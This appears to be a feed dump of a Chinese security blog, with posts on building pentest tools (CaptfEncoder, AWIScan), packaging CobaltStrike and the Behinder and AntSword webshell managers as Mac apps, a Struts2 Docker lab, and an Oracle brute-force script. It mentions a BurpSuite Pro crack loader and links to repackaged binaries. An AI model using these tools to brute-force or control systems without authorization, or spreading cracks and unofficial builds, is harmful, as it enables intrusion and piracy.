由于协程概念，所以最好只使用一个loop：在进行dns服务器测试的时候通过get_event_loop建立了新的loop之后（完成任务之后loop.close），在后续再次通过get_event_loop是无法成功新建协程的：RuntimeError: Event loop is closed。可通过set_even_loop解决，但不建议。
异步DNS库还不够完善，在aiodns、async_dns、aiodnsresolver中来来回回切换，最后选择了aiodns。
- aiodns未看到timeout参数，所以子域名爆破有可能超时导致速度不稳定
- async_dns在DNS服务器测试完成之后，再此调用返回的结果为空，估计是由于不同loop的原因导致？
- aiodnsresolver在进行dns服务器配置感觉不太好用，所以弃用。

后续计划更新

目录爆破支持随机User-Agent
目录爆破支持代理
整合目标，将ip、domain这些统一整合
支持多进程扫描
支持自定义插件扫描
强化扫描能力
。。。

总结

感谢GitHub上这么多开源的工具
写代码好难～～～
在遇到问题查看官方文档如果无法解决，可以直接看对应源码
AWIScan项目应该有很多面条式代码，后续看看能不能逐渐优化
对变量进行命令真的太难了，所以很多地方用了同样的变量名。全局变量设置成全大写，局部变量是全小写，不同参数传递参数前面变量名相同（尽量）

]]> 瞎折腾工具环境 AWIScan CaptfEncoder编译 /archives/80d64a8d.html 解决CaptfEncoder无法在MacOS上运行。

背景

直接从GitHub下载下来的CaptfEncoder在MacOS M系列芯片上无法正常运行。根据issues提示是缺少GMP Library。通过brew安装之后，还是无法直接运行。

brew install gmp

通过find命令查找libgmp.10.dylib将其复制到对应目录

sudo find / -name "libgmp.10.dylib"
cp /System/Volumes/Data/opt/homebrew/Cellar/gmp/6.2.1_1/lib/libgmp.10.dylib /usr/local/opt/gmp/lib/libgmp.10.dylib

这时候提示变为mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64')

运行

下载源码，进入对应目录使用使用cargo运行提示报错

git clone https://github.com/guyoung/CaptfEncoder.git
cd CaptfEncoder/CaptfEncoder-V3
cargo run

根据提示可以知道还是缺少gmp库导致的，根据猜测应该是对应的依赖没被找到。
将brew对应的lib加入到环境变量中export LIBRARY_PATH=/opt/homebrew/lib，再运行即可完美解决。

编译

CaptfEncoder本身已经做了编译的配置，只需要调整Cargo.toml内容即可：

package中添加description

icon中修改为app.ico

[package]
name = "captfencoder"
version = "3.3.0"
authors = ["guyoung"]
edition = "2021"
build = "build.rs"
description = ""



[dependencies]

fltk = "1.4"
fltk-theme = "0.7"
rhai = "1.15"

tokio = { version = "1", features = ["full"] }
reqwest = { version = "0.11", features = ["json"] }
serde = "1.0"
serde_json = "1.0"
pollster = "0.2"
base64 = "0.13"
anyhow = "1"
image = "0.23"
clipboard = "0.5"
rust-embed = "6.3"
webbrowser = "0.5"
rand = "0.8"
dyn-clone = "1.0"
sysinfo = "0.29"
chrono = "0.4"

captfencoder_encoding = { version = "1.0.0", path = "../encoding"}
captfencoder_query = { version = "1.0.0", path = "../query"}
captfencoder_misc = { version = "1.0.0", path = "../misc"}


lazy_static = "1.4"
state = "0.5"
enum-ordinalize = "3.1"
sublime_fuzzy = "0.7"
crossbeam-channel = "0.5"
event-emitter-rs = "0.1"
hey_listen = "0.5"

num = "0.4"
num-bigint = "0.4"
num-traits = "0.2"
primal = "0.3"

[build-dependencies]
winresource = "0.1"

[package.metadata.winresource]
ProductName = "CaptfEncoder"
ProductVersion = "3.3.0"
OriginalFilename = "CaptfEncoder.exe"
LegalCopyright = "Copyright © Guyoung studio 2022"


[package.metadata.bundle]
name = "CaptfEncoder"
identifier = "net.guyoung.captfencoder"
icon = ["app.ico"]
#deb_depends = []
osx_minimum_system_version = "10.0"

之后通过cargo bundle编译即可

其他

使用cargo时遇到无法通过更新、下载的问题，通过添加CARGO_HTTP_MULTIPLEXING即可解决（多线程下载）CARGO_HTTP_MULTIPLEXING=false cargo update
需要在zshrc在添加export LIBRARY_PATH=/opt/homebrew/lib避免之后又遇到找不到lib的情况

]]> 瞎折腾 BurpSuitePro 2.1及之后版本通杀加载器 /archives/c5863b38.html 直接看图。

BpLoad

]]> 瞎折腾工具环境工具 jar打包应用程序 /archives/18ca2507.html 之前写过一篇jar文件打包成app的文章，使用的是jar2app的方式。之后发现更加优雅的方式，使用install4j并且可以实现将jar打包成多平台的应用程序。

install4j

本文以CobaltStrike 4.5为例，需要注意的是

java的版本不能太高（我使用的是Zulu 11）。
需要将.cobaltstrike.beacon_keys文件打包进去
添加-XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC设置

将所有配置设置完成之后，新建对应Media之后build即可。

]]> 瞎折腾工具工具 jar文件打包成app /archives/4afab831.html 在Mac上运行jar文件（例如Behinder）每次都需要

java -XstartOnFirstThread -jar Behinder.jar

，感觉太繁琐了。因此，想打包成app方便使用。成功打包效果图如下，这里给大家提供打包出来的app。

链接:https://pan.baidu.com/s/1474CrgbbSfbXxqJGg9carA 密码:f9vm

成功效果图

使用工具可方便的将jar文件打包成app，本文以Behinder为例，记录所遇到的问题以及如何处理。

前期准备

下载jar2app之后，将其安装。

# Install
git clone https://github.com/Jorl17/jar2app
cd jar2app
chmod +x install.sh uninstall.sh
sudo ./install.sh
# Install to /usr/local/bin
git clone https://github.com/Jorl17/jar2app
cd jar2app
chmod +x install.sh uninstall.sh
sudo ./install.sh /usr/local/bin

生成APP

通过jar2app的命令我们可以得知，直接使用对应命令即可生成。其中需要注意以下两点：

Behinder需要通过-XstartOnFirstThread命令启动；
Behinder需要jre6~jre8版本才可以运行。

因此我在使用jar2app时，指定了JVM设置和JDK版本。

jar2app Behinder.jar -j "-XstartOnFirstThread" -r /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk

使用上面的命令可以成功生成一个app，但是直接运行无法打开。

问题排查

直接打开Behinder.app/Contents/MacOS/JavaAppLauncher启动脚本，提示数据库文件丢失，无法启动。

数据库文件丢失

根据报错信息提示以及Behinder本身的文件结构，我将data.db移动到Behinder.app/Contents和其他杂七杂八的位置都不行。

Contents/data.db
Contents/Java/data.db
Contents/MacOS/data.db
Contents/Plugins/jdk1.8.0_181.jdk/Contents/data.db
Contents/Plugins/jdk1.8.0_181.jdk/Contents/MacOS/data.db
Contents/Resources/data.db

重构class文件

根据报错信息（数据库文件丢失）以及上述所进行的测试方法，基于当前的情况，只能通过将jar包文件反编译成class文件进行查看，判断本身源码逻辑。这里我采用JD进行反编译，直接加载Behinder的jar包文件。根据关键字：data.db进行搜索。

源代码查询

根据上图可以看到对应判断的逻辑在：net/rebeyond/behinder/core/ShellManager.class文件中：

if (!new File("data.db").exists()) {
      throw new Exception("数据库文件丢失，无法启动。");
    }

通过File().exists()进行判断文件是否存在，根据大佬的提示得知File().exists()使用的user.home作为路径，将其修改成File.getAbsoluteFile()即可成功。

测试代码

测试结果

在JD将ShellManager.class保存成java代码，使用Intellij创建一个项目。Ps:也可以用eclipse等。

这里我新建了一个Maven项目，Project SDK选择1.8.0

Project SDK

下面有关字段全部设置成Behinder

GroupId

ProjectName

将ShellManager.java文件拖入到src/main/java目录下，并将File().exists()修改成File().getAbsoluteFile().exists()。

修改代码

新建一个package，右键java目录new即可创建，目录名称为net.rebeyond.behinder.core。该名称来源为ShellManager在Behinder.jar文件中的路径。将ShellManager.java文件移动到net.rebeyond.behinder.core中。

新目录结构

此时还有一系列包引入问题待解决，这时候点击【File】选项中的【Project Structure】功能，在【Project Settings】中的【Modules】的【Dependencies】中引入Behinder.jar文件。

Project Structure

这时候还存在模块无法import的问题，根据查看发现是json模块无法引入，查看JD中json包是20180130的。在jar-download页面进行下载即可，下载完成之后，按照刚刚的流程导入。导入完成之后，这时候已经所有包都正常import。

import success

使用【Build Project】将java文件编译成class文件。

BuildProject

解压Behinder.jar文件，将解压出来的ShellManager.class文件替换成新编译出来的ShellManager.class文件。替换完成之后，使用压缩软件将其压缩成zip。将文件后缀修改成jar，在终端下运行，看能否成功运行。Ps：记得在Behinder.jar文件同级目录需要有一个data.db；这里有个问题，我用BetterZip将其压缩成zip之后，修改后缀无法运行，使用BandiZip（Windows）压缩可以，猜测有可能是软件压缩机制或者操作系统的问题。也可以使用jar命令进行打包。

jar -cfm Behinder.jar ./META-INF/MANIFEST.MF ./*

java -XstartOnFirstThread -jar Behinder.jar

运行成功

可以成功运行，在使用jar2app命令将其打包成app

jar2app Behinder.jar -j "-XstartOnFirstThread" -r /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk

将data.db文件移动到Behinder.app/Contents即可成功运行。

生成带有图标的APP

上面生成的app是没有图标的，jar2app有-i参数支持图标生成。直接将Behinder.jar文件的net/rebeyond/behinder/resource目录下的logo.jpg拿出来。使用ICON在线转换，这里需要注意的是下载的文件格式应该为icns，并非是icon。

使用如下命令即可生成一个带有logo图标的Behinder.app文件。

jar2app Behinder.jar -j "-XstartOnFirstThread" -r /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk -i logo.icns

总结

这里面踩了无数个坑，反反复复好长一段时间才解决。

工具记得多读手册，例如在这里用的jar2app直接在GitHub上面多读手册，基本问题都能解决；
实现同样功能的不同函数，在使用时需要按照需求进行使用。例如这里的File().exists()与File.getAbsoluteFile()，不同函数名总有会不一样的地方，直接平时只是为了实现功能而忽略其本质，有时候出现问题的时候需要深入了解其本质；
在处理问题过程中使用到软件工具出现问题时，可不进行任何修改重复使用软件进行问题定位。例如这里的BetterZip压缩之后无法运行，我是通过直接解压缩-压缩-运行将这个问题定位出来的。

]]> 瞎折腾工具环境工具使用electron-build打包 /archives/221b42d4.html 在Mac上运行electron框架程序（例如Antsword、CaptfEncoder等）每次都需要npm start，感觉太繁琐了。因此，想打包成app方便使用。成功打包效果图如下，这里给大家提供打包出来的dmg包。
Antsword链接:https://pan.baidu.com/s/1Z4NwAMwcOadof93_1na8mA 密码:eokx

CaptfEncoder链接:https://pan.baidu.com/s/1P4V_OsOIsKu258XbUAE-Zw 密码:659d

本文以Antsword为例。

前期准备

安装brew

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
brew --version

安装node

brew install node
node --version
npm --version

安装yarn

brew install yarn
yarn --version

安装electron-builder，安装成功之后需要建立软连接

yarn add electron-builder -dev
sudo find / -name electron-builder
ln -s /Users/hywell/node_modules/.bin/electron-builder /usr/local/bin/electron-builder
elecctron-builder --version

下载蚁剑，安装依赖并启动

git clone https://github.com/AntSwordProject/antSword.git
cd antSword
npm install
npm start

打包

修改antSword目录下的package.json，结构如下：

{
  "name": "antsword",
  "version": "1.3.0",
  "description": "中国蚁剑是一款跨平台的开源网站管理工具",
  "main": "app.js",
  "build": {
    "appId": "1.0",
    "mac": { //添加设置mac下的配置
      "category": "public.app-category.developer-tools",
      "target": [
        "dmg"
      ]
    }
  },
  "scripts": {
    "start": "electron app.js",
    "build": "npm start",
    "pack": "electron-builder --dir",
    "dist": "electron-builder" // 添加用于执行dist命令
  },
  "author": "antoor <u@uyu.us>",
  "license": "MIT",
  "repository": {
    "type": "git",
    "url": "https://github.com/antoor/antSword"
  },
  "debug": true,
  "update": {
    "md5": "184c9217b01513647ccfaad49e795cfe",
    "logs": "移除webpack以及其他不必要的依赖，直接无需编译即可执行ES6代码\n更新美化关于页面\n重构modules/request.js后端数据请求模块\n添加 aspx hex encoder 支持\n修正custom shell 读取自身时数据被截断的 bug\n增加php中的mysql数据库模板，用于不支持使用mysqli的服务器\n以及其他小部分的代码重构优化",
    "sources": {
      "coding.net": "https://coding.net/api/share/download/c405db5d-6fdb-4078-9326-32cd86c392a3",
      "github": "https://github.com/antoor/antSword/releases/download/1.3.0/update.zip"
    }
  },
  "bugs": {
    "url": "https://github.com/antoor/antSword/issues"
  },
  "homepage": "http://uyu.us",
  "postinstall": "electron-builder install-app-deps"
}

在antSword目录下新建一个app文件夹，将antSword目录下所有文件迁移到app文件夹下(保证原有结构不变)。结构如下:

在里面新建一个package.json文件，结构如下:

{
    "name": "antsword",
    "version": "1.3.0",
    "main": "app.js",
    "description": "antsword-MacOS",
    "author": "antoor <u@uyu.us>",
    "dependencies": { // 将上个文件的依赖迁移
        "babel": "^5.2.17",
        "extract-zip": "^1.5.0",
        "geoips": "0.0.1",
        "iconv-lite": "^0.4.13",
        "log4js": "^0.6.29",
        "nedb": "^1.5.1",
        "nugget": "^2.0.0",
        "superagent": "^3.8.3",
        "superagent-proxy": "^1.0.0",
        "through": "^2.3.8"
      },
    "devDependencies": {
        "electron-prebuilt": "^0.37.2"
    }
}

在antSword目录下,执行命令将其打包。

yarn dist

完成之后会生成一个dist目录，在目录中就有成功打包的antSword。

总结

这次耗费了大半天的时间,查阅了无数资料,发现还是官方的文档最好!

elecctron-builder打包程序时，需要建立一个app文件夹&两个package.json（一个作为打包使用，一个作为项目使用）;
elecctron-builder打包程序时，把所有程序的资源文件、代码文件等都放到app文件夹下；
遇到cannot unpack electron zip file, will be re-downloaded error=zip: not a valid zip file，请删除缓存rm -rf ~/Library/Caches/electron/
编译出来的程序无法正常运行，可通过运行dist(release)/mac/xxxx.app/Contents/MacOS/xxxx，查看错误信息以便定位问题；
两个package.json的区别，根据我的理解（不一定正确，大家可以看官方文档），最外层的package.json是打包的配置信息，里层的package.json为项目的配置信息。因此依赖（dependencies、devDependencies）写在里面package.json。

]]> 瞎折腾工具环境工具漏洞环境搭建 /archives/583f4516.html 　在进行安全测试的时候，经常需要搭建各种各样、不同配置的漏洞环境。有时候一天不到就能搞定，有时候两三天都没成功。后来发现一个神器:Docer，结合GitHub上面的漏洞靶场可以通过几条命令就能成功”搭建”一个漏洞环境。

准备

　本文选用Debian作为操作环境。大家也可以根据自己的操作系统，安装对应Docker。大家可以去Docker官网查看如何安装，也可以去Docker中文看如何安装。

安装Docker

　安装Docker之前需要在/etc/apt/sources.list文件中添加backports源。使用Vim命令。(下面所有命令建议在root权限下执行，要不然请在命令前加sudo。)

vim /etc/apt/sources.list

　添加deb http://http.debian.net/debian jessie-backports main，执行更新操作。

apt-get update

apt-get update.png
　成功更新之后，安装docker.io。

apt-get install docker.io

apt-get install docker.io.png
　查看Docker版本信息。

docker --version

docker version.png

添加漏洞环境

　接下来就可以使用Docer添加对应的漏洞环境，那么漏洞环境在哪里找勒？这里我推荐两个地址:phith0h、Medicean。
　这里我以Struts2-S2-045为例：[S2-045][https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-045]。
　将环境下载到本地，如果使用命令无法成功下载，那么多下载几次或者设置一下代理(你懂的)。

docker pull medicean/vulapps:s_struts2_s2-045

docker pull.png
　下载完成之后，启动环境。-p后面的参数是将容器的端口映射到本机的端口，-p 80:8080就是将容器的8080端口映射到本机的80端口，可以自定义修改。

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-045

漏洞复现

　使用Exploit工具复现S2-045漏洞。

Docker常用命令

　查看所有镜像。

docker images

docker images.png
　拉取镜像。

docker pull

docker pull.png
　保存镜像。

docker save medicean/vulapps:s_struts2_s2-045 > /tmp/s2-045.tar

docker save.png
　加载镜像。

docker load < /tmp/s2-045.tar

docker load.png
　查看正在运行的容器。

docker ps

docker ps.png
　停止容器，使用docker ps查看的id来停止对应容器。

docker stop ddedb0cd35e5

docker stop.png
　启动容器。

docker start ddedb0cd35e5

　关闭容器。

docker kill ddedb0cd35e5

docker kill.png
　删除镜像，如果不知道id可以使用Tab键来进行补全查看。

docker rm id

docker rm.png

总结

　使用Docker虽然可以快速的部署漏洞环境，但是这样不容易理解一些由于配置问题导致的漏洞。因此，建议在新漏洞出现之后使用Docker快速复现完成后，自己手工搭建一遍。

]]> 瞎折腾工具环境漏洞环境 MacOS python2 pycurl安装 /archives/366a0bef.html MacOS安装pycurl的时候出了一堆问题：SSL、Permitted等，用网上的一堆方法都无法成功安装。最后，通过查看pycurl官网文档、网上资料结合，终于安装成功！
python pycurl.png

前言

一开始使用easy_install、pip两种安装方式都会遇到SSL报错。查询网上资料，指定openssl的环境变量并指定使用openssl安装也无法解决。
pycurl ssl 报错.png

解决过程

下载pycurl源码，解压到对应目录。
sudo python setup.py install --with-openssl --openssl-dir=/usr/local/opt/openssl
其中”openssl-dir”需要根据自身电脑安装路径进行设置。
permitted不够.png
使用上诉命令会出现权限不够的问题，通过添加–user可以解决。
sudo python setup.py install --with-openssl --openssl-dir=/usr/local/opt/openssl --user

总结

MacOS安装东西真麻烦！！！

]]> Code Python2 pycurl python2 Python2-Pymysql中文写入 /archives/40673788.html python27的编码是一大难点，然而这次的难点并不是在于python，而在于数据库。

前言

最近在使用Pymysql向mysql数据库写入中文时，发现出现Warning:(1366, u”Incorrect string value: ‘\x······”)

数据库里面的结果为乱码

解决思路

看到中文乱码，马上就想到编码问题。该问题共涉及到三处编码（有可能还多，想不出来了）：数据库编码、数据来源编码、脚本连接编码。由于数据来源编码能肯定为Unicode，因此需要从脚本连接编码、数据库编码去解决。

解决历程

脚本连接编码

由于pymysql支持charset字段，下意识想到通过charset参数进行设置。

import pymysql.cursors
 
config = {
          'host':'127.0.0.1',
          'port':3306,
          'user':'root',
          'password':'',
          'db':'test',
          'charset':'utf8mb4',
          'cursorclass':pymysql.cursors.DictCursor,
          }
connection = pymysql.connect(**config)

然后重新运行脚本，发现并没有解决。

数据库编码

查看数据库编码，发现数据库默认编码为latin1。

show variables like "char%";

找到问题所在就方便了！修改database编码即可。
由于我使用的是debian，需要修改/etc/mysql/my.cnf文件。

vim /etc/mysql/my.cnf

在[mysqld]字段下面添加character-set-server=utf8，保存并重启mysql服务即可。

重新查询数据库编码。

美滋滋的运行代码，发现还是Warning！！！

最终解决

在修改了数据库编码以为脚本可以成功运行的时候，现实跟我说too young！后面兜兜转转，发现重新建立数据库即可！

总结

Python27遇到中文的时候，需要特别注意编码；
Python进行数据交互的时候，每个地方的编码都需要注意；
配置修改之后，一定要刷新或者新建！！！

]]> Code Python2 Python2 编码 Python2-Oracle爆破 /archives/209eed3d.html 做渗透的时候遇到Oracle端口对外开放，用python编写脚本去自动爆破，爆破成功就是拿下数据库。

环境搭建

Oracle安装

去Oracle官网下载Oracle Database 11g，下载地址。我这边下载Windows版本进行安装，两个文件都要下载，下载完成之后全部选中解压。
下载.png
解压之后，运行setup.exe。取消【我希望通过My Oracle Support接受安全更新】勾选，点下一步。
Oracle安装1.png
会跳出一个提示，直接点击【是】即可。
Oracle安装2.png
选择【创建和配置数据库】。
Oracle安装3.png
由于我们用来做测试，所以选择【桌面类】即可。
Oracle安装4.png
接下来对数据库进行配置，我这边将全局数据库名设置为Brute，管理口令设置成BruteTest，别的保持默认即可。
Oracle安装5.png
如果管理口令不符合Oracle建议的标准，会有一个提示，直接点击【是】即可。
Oracle安装6.png
接下来程序就会进行检查，待检查完成会出现一个概要。
Oracle安装7.png
点击完成，开始安装。
Oracle安装8.png
安装完成之后，点击【口令管理】对用户口令进行修改。
Oracle安装9.png
对sys、system两个用户设置新口令。
Oracle安装10.png
如果口令不满足复杂性策略，会有一个提示，直接点击【是】即可。
Oracle安装11.png
最后Oracle数据库安装成功。
Oracle安装12.png

Oracle配置

安装完成之后，在所有程序菜单中找到Oracle，打开【Database Control - Brute】。
Oracle配置1.png
使用sys用户、SYSDBA身份登录。
Oracle配置2.png

表空间

点击【服务器】→【表空间】。
Oracle配置3.png
点击【创建】。
Oracle配置4.png
输入名称，点击【添加】。
Oracle配置5.png
输入文件名，点击【继续】。
Oracle配置6.png
点击【确定】，建立表空间。
Oracle配置7.png

用户

点击【服务器】→【用户】。
Oracle配置8.png
点击【创建】。
Oracle配置9.png
输入名称、口令，点击【确定】。由于只是用于爆破，所以这里就不设置【角色】、【权限】等。
Oracle配置10.png

端口对外开放

对listener.ora、tnsnames.ora文件进行修改，文件路径类似：\app\Administrator\product\11.2.0\dbhome_2\NETWORK\ADMIN\，根据安装时所选的目录自行寻找。将两个文件里的localhost修改成计算机名。
Oracle配置11.png
重启【OracleDBConsoleBrute】、【OracleOraDb11g_home1TNSListener】服务。
Oracle配置12.png
可以使用其他电脑成功连接。
登录成功.png

脚本编写

Python27有一个库支持对Oracle进行操作，cx_Oracle，使用pip安装即可。

pip install cx_Oracle

安装好之后，需要安装Oracle的client，不同系统安装的方式也不同，具体可以参考官方文档。client安装完成之后，使用cx_Oracle尝试连接。
python连接.png
信息错误情况的各种错误信息。
报错信息.png

终端输出

爆破时，信息有很多。如果不对样式进行设置，导致不能快速找到有效信息。因此，需要对终端输出设置样式。有一个外部库colorama支持输出时的样式设置，通过pip安装即可.

pip install colorama

安装完成之后，需要先调用init进行初始化。

# --coding=utf-8--

## 参照表
## Fore: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET.
## Back: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET.
## Style: DIM, NORMAL, BRIGHT, RESET_ALL

from colorama import init, Fore, Style, Back

init(autoreset=True)
print Fore.GREEN + u'字体颜色设置'
print Style.DIM + u'字体样式设置'
print Back.GREEN + u'背景颜色设置'

print效果图.png

异步设置

使用gevent进行爆破，当爆破量很大的时候，会导致内存飙高。因此，设置了阀值。

while True:
    if not blasting.empty():
        if len(self.threads) < 5000:
            self.threads.append(gevent.spawn(self._test, blasting.get()))
        else:
            gevent.joinall(self.threads)
            self.threads = []
    else:
        if len(self.threads) > 0:
            gevent.joinall(self.threads)
        break

总结

在编写Oracle爆破脚本的时候，大部分的问题由环境搭建、配置引起。

Oracle安装完成之后，数据库是不对外开放需要修改配置文件，配置文件localhost修改成计算机名，当服务器IP修改时，其他计算机还是可以连接。修改成ip时，服务器IP修改时，需要修改配置文件中的ip；
Oracle端口不对外开放，确认配置文件修改正确的情况下，【OracleDBConsoleBrute】、【OracleOraDb11g_home1TNSListener】服务需要重启，网上说只需要重启TNS服务即可，但是测试时，发现两个服务都需要重启；
Python终端彩字输出可以使用\033[显示方式;前景色;背景色m + 结尾部分：\033[0m，但Windows下失败，Linux下没去尝试；
使用colorama需要先初始化init(autoreset=True)。

完整代码

完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！**Code**。

]]> Code Python2 Python2 爆破 Python2-RSA加密文件 /archives/fb3e56b9.html 　每个人都有自己的小秘密，如何保护好它是非常重要的。我通过Python27结合RSA算法保护我的”小秘密”。

准备

　使用pycrypto库就可以完成RSA加、解密。

Pycrypto

　使用pip快捷安装pycrypto。如果对pycrypto感兴趣，可以参考文档。

pip install pycrypto

　如果无法使用pip安装，可以在这里下载编译好的源文件进行安装。

终端处理

　终端信息获取可以通过sys.argv或者使用getopt库。

sys

　sys.argv是一个列表对象。用来获取终端信息。终端格式示例。

python getinfo.py info1 info2 info3

　sys.argv[0]是getinfo.py，sys.argv[1]是info1，sys.argv[2]是info2，sys.argv[3]是info3。

Getopt

　getopt可以用来获取终端参数，实际使用的时候效果比sys.argv好很多。如果对getopt感兴趣，可以参考文档
　getopt有短格式、长格式。”-h-f:”为短格式，如果后面带冒号说明该参数需要加参数值，不加冒号说明该参数不需要加参数值。”[‘help’, ‘file=’]”为长格式，如果后面带等号说明该参数需要加参数值，如果后面不带等号说明该参数不需要参数值。
　终端格式示例。

python getinfo.py -h -f=info.txt

　代码示例。

import getopt
opt, args = getopt.getopt(sys.argv[1:], "-h-f:",['help', 'file='])
for opt_name, opt_value in opts:
    if opt_name in ('-h', '--help'):
        print "This is help!"
    if opt_name in ('-f', '--file'):
        print opt_value

pycrypto使用

　pycrypto包含许多加密方式：AES、SHA256、RSA等。出于安全性考虑，我使用RSA来加密文件。

生成公、私钥文件

　RSA加密需要使用到公钥文件、RSA解密需要使用到私钥文件。如果大家对RSA算法不了解的话，可以参考Wiki。
　通过上文可以得知，生成自己的公钥、私钥文件是十分重要的。pycrypto支持生成公钥、私钥文件。
　代码示例。

from Crypto import Random
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.PublicKey import RSA


random_generator = Random.new().read  # 伪随机数生成器
rsa = RSA.generate(self.generateNum, random_generator)  # rsa算法生成
private_pem = rsa.exportKey()  # 私钥生成
with open('private.pem', 'w') as f:  # 生成私钥文件
    f.write(private_pem)
public_pem = rsa.publickey().exportKey()  # 公钥生成
with open('public.pem', 'w') as f:  # 生成公钥文件
    f.write(public_pem)

RSA加密

　RSA加密需要使用到公钥文件。
　代码示例。

from Crypto import Random
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.PublicKey import RSA


message = "My name is Hywell!"
with open('public.pem') as f:  # 读取公钥文件
    key = f.read()
rsakey = RSA.importKey(key)  # 加载公钥
cipher = Cipher_pkcs1_v1_5.new(rsakey)
cipher_text = cipher.encrypt(message)  # 加密message

RSA解密

　RSA解密需要使用到私钥文件。
　代码示例。

from Crypto import Random
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.PublicKey import RSA


cipher_text = "This is cryptoStr!"
random_generator = Random.new().read  # 伪随机数生成器
with open('ghost-private.pem') as f:  # 读取私钥文件
    key = f.read()
rsakey = RSA.importKey(key)  # 加载私钥
cipher = Cipher_pkcs1_v1_5.new(rsakey)
result = cipher.decrypt(base64.b64decode(encrypt_text), random_generator)  # 解密cipher_text

总结

　在编写使用RSA加密文件时，遇到了几个问题，在此记录一下。

使用getopt库作为命令行参数获取，使用for获取对应参数的值的时候，获取得到值是以=开头。因此，实际需要使用value[1:]来获取;
RSA加密常见的key_size有1024bit、2048bit两种，解密的时候需要选择跟加密时一样的bit;
RSA加密单次加密字符的长度有限制，最大为(key_size/8)-11;
使用1024bitRSA加密100长度的字符会生成128长度的加密过的字符;
使用2048bitRSA加密200长度的字符会生成256长度的加密过的字符。

完整代码

　完整代码支持终端获取参数、文件夹所有文件RSA加密、文件夹所有文件RSA解密。
　完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！**Code**。

]]> Code Python2 Python2 加密工具 Python2-py转exe(附GUI界面) /archives/2329ebda.html 　有时候写了一个脚本，但是换到另外一台电脑上的时候，发现并没有Python的解析环境，这时候将py文件转成exe，再将其换到另外一台Windows电脑运行，是一个很好的选择。

准备

　py转exe有:py2exe、pyinstaller等多种选择。这两种我都用过，我更倾向于pyinstaller。本文使用的就是pyinstaller。

pyinstaller

　使用pip快捷安装pyinstaller。如果对pyinstaller感兴趣，可以参考文档

pip install pyinstaller

　如果无法使用pip安装，可以在官网下载源码安装。
　成功安装可以输出对应版本信息。
pyinstaller version.png

py文件

　将py文件转exe，那么必备的就是py文件了。本文采用我以前写的RSA加密文件脚本，可以在这里下载。

转换Exe

　有了pyinstaller之后，将py文件转成exe只需要一条命令即可完成。该条命令会生成两个文件夹:build、dist。生成的exe在dist文件夹中。

pyinstaller Encryptiong.py

exe转换.png

单文件生成

　刚刚转换出来的exe有许多依赖的文件在dist文件夹下。就是说想要运行这个exe，那么整个dist文件夹下所有文件都需要存在。
　pyinstaller提供了将py文件转换成单exe模式，只需要在转换命令加上-F参数即可。

pyinstaller Encryptiong.py -F

压缩

　如果转换出来的exe大小很大，pyinstaller也支持压缩。压缩需要下载upx，并加上对应参数即可。

pyinstaller Encryptiong.py -F --upx-dir D:\Code\Python27\upx394w

图标

　现在已经成功生成了exe，但是现在的exe图标很”大众”。这是pyinstaller默认图标，如果想自定义图标的话，pyinstaller也提供了对应参数-i。但是需要提供多种尺寸的ico图标，因为不同情况下需要不一样尺寸的图标。可以使用**png2ico**工具转换，使用png2ico需要使用对应的命令。

png2ico myicon.ico icon_128x128.png icon_64x64.png icon_48x48.png icon_32x32.png icon_16x16.png

　也可以使用在线转换工具**ConvertIcon!**,导出的时候需要勾对应尺寸。

　有了图标之后，使用对应命令即可。

pyinstaller Encryptiong.py -F --upx-dir D:\Code\Python27\upx394w -i ico.ico

GUI界面

　现在生成的exe文件，打开之后连GUI界面都没有。没有GUI界面的exe就是耍流氓。(Ps:来源某位小伙伴)我这么正经的人，怎么可能耍流氓！
　Python想要生成GUI界面，需要安装PyQt。我安装的是PyQt4。由于最新版的PyQt已经不提供Windows二进制安装程序，大家可以安装4.11.4版本。找到合适自己的版本，下载、安装即可。

UI生成

　安装完PyQt4之后，大家可以在Python27\Lib\site-packages\PyQt4文件夹找到designer.exe用来构建GUI界面的UI。
　打开designer.exe新建一个窗体，通过左边拖拽控件，将控件按照自己喜欢的位置布局到窗体里面。设计好了保存成ui文件即可。
　最后可以Python27\Lib\site-packages\PyQt4\pyuic4.bat来生成对应的布局代码。

pyuic4.bat -o EncryptiongUi.py EncryptiongUi.ui

　生成的布局代码文件有一个Ui类，其中包含了setupUi、retranslateUi函数。

GUI生成

　用了UI布局，现在新建一个脚本(Encry.py)通过代码生成一个窗体即可。

# -*- coding: utf-8 -*-
from PyQt4.QtGui import *  
from PyQt4 import QtGui
from PyQt4.QtCore import *  
import sys  
import EncryptiongUi


class TestDlg(QDialog, EncryptiongUi.Ui_RSA):  # 继承EncryptiongUI.UI_RSA
    def __init__(self, parent=None):
        super(TestDlg, self).__init__(parent)
        self.setupUi(self)
        # self.setWindowIcon(QtGui.QIcon('./ico.ico'))  # 设置icon
        
def main():
    app = QApplication(sys.argv)
    dialog = TestDlg()
    dialog.show()
    sys.exit(app.exec_())
    
if __name__ == '__main__':
    main()

　运行Encry.py即可生成一个GUI界面。

控件功能配置

　我设计了一个包含两个line、三个button的窗体。根据button来执行Encryptiong.py的不同功能，根据line的值进行传参。
　首先对Encryptiong.py脚本进行改造。只需要把180、181注释，让其不运行即可。

# if __name__ == '__main__':
    # main()

　其次对EncryptiongUI.py进行改造。导入Encryptiong的Encryptiong，用来执行加密、解密等功能。

from Encryptiong import Encryptiong

　接下来将按钮的单击属性打开。一共需要打开三个按钮的属性,pushButton是按钮的自定义名称，根据命名进行修改。

self.pushButton.setCheckable(True)
self.pushButton.setChecked(True)

　然后在UI类中，编写工作的函数。

def work(self, Ctype):
    try:
        if Ctype == 1:
            Encryptiong().encryp()
